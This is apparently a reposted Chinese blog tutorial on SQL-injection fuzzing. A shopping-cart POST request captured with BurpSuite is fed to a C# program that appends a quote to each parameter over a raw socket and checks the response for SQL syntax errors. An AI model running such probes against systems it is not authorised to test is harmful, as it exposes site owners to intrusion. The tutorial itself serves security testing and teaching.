POST请求进行模糊测试

准备

首先我们得使用BurpSuite对购物车上的数据进行抓包,我们在勾选想要选的商品后,然后点击添加购物车即可
在这里插入图片描述
我们抓到的数据包如下,可以看到cartitem参数可能存在SQL注入,因为后台会检测这个参数,因此我们可以对此处参数进行污染,传入恶意代码执行尝试攻击数据库

然后我们将里面的内容复制保存为request.txt保存在和exe文件相同的目录
在这里插入图片描述

代码

在进行模糊测试之前,我们先要对Main()参数进行必要的设置,很多代码运行原理我都在代码注释里写了,读者有不懂的话可以私聊评论我

using System;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text;

namespace POST模糊测试
{
    
    
    class Program
    {
    
    
        static void Main(string[] args)
        {
    
    
            //我们不使用ReadAllText()的原因是我们需要拆分请求,以便在模糊测试之前获取信息
            string[] requestLines = File.ReadAllLines(args[0]);
            string[] parms = requestLines[requestLines.Length - 1].Split('&');
            string host = string.Empty;
            StringBuilder requestBuilder = new StringBuilder();

            foreach(string ln in requestLines)
            {
    
    
                //我们检查行是否以'Host:'开头,如果是则将主机字符串的后半部分分配给host变量
                if (ln.StartsWith("Host:"))
                {
    
    
                    //使用Replace()方法替换掉可能留下的'\r',因为一个IP地址中没有'\r'
                    host = ln.Split(' ')[1].Replace("\r", string.Empty);
                }
                requestBuilder.Append(ln + "\n");
            }
            string request = requestBuilder.ToString() + "\r\n";
            Console.WriteLine(request);

            /*
             传递一个新的IPAddress对象和要连接的80端口来创建一个新的IPEndPoint对象
             */
            IPEndPoint rhost = new IPEndPoint(IPAddress.Parse(host), 80);
        }
    }
}

将foreach代码添加到Main()函数里

foreach(string parm in parms)
            {
    
    
                /*
                 1.对于每次迭代,我们需要创建一个新的Socket连接到服务器
                 2.AddressFamily.InterNetwork告诉套接字使用IPv4协议
                 3.SocketType.Stream告诉套接字使用一个流套接字(有状态,双向,可靠)
                 4.ProtocolType.Tcp套接字要使用的协议是TCP
                 */
                using (Socket sock = new Socket(AddressFamily.InterNetwork,
                    SocketType.Stream, ProtocolType.Tcp))
                {
    
    
                    sock.Connect(rhost);

                    string val = parm.Split('=')[1];
                    //调用request字符串中的Replace()方法把原始值替换成一个污染过的值
                    string req = request.Replace('=' + val, "=" + val + "'");

                    //获取一个字符串的字节数组
                    byte[] reqBytes = Encoding.ASCII.GetBytes(req);
                    sock.Send(reqBytes);

                    //创建一个响应大小相等的字节数组
                    byte[] buf = new byte[sock.ReceiveBufferSize];

                    sock.Receive(buf);
                    string response = Encoding.ASCII.GetString(buf);    //解析服务器的响应
                    if (response.Contains("error in your SQL syntax"))
                        Console.WriteLine("Parameter" + parm + " seems vunerable");
                        Console.WriteLine(" to SQL injection with value: " + val + "'");
                }
            }

运行效果如下图
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_45007073/article/details/114385413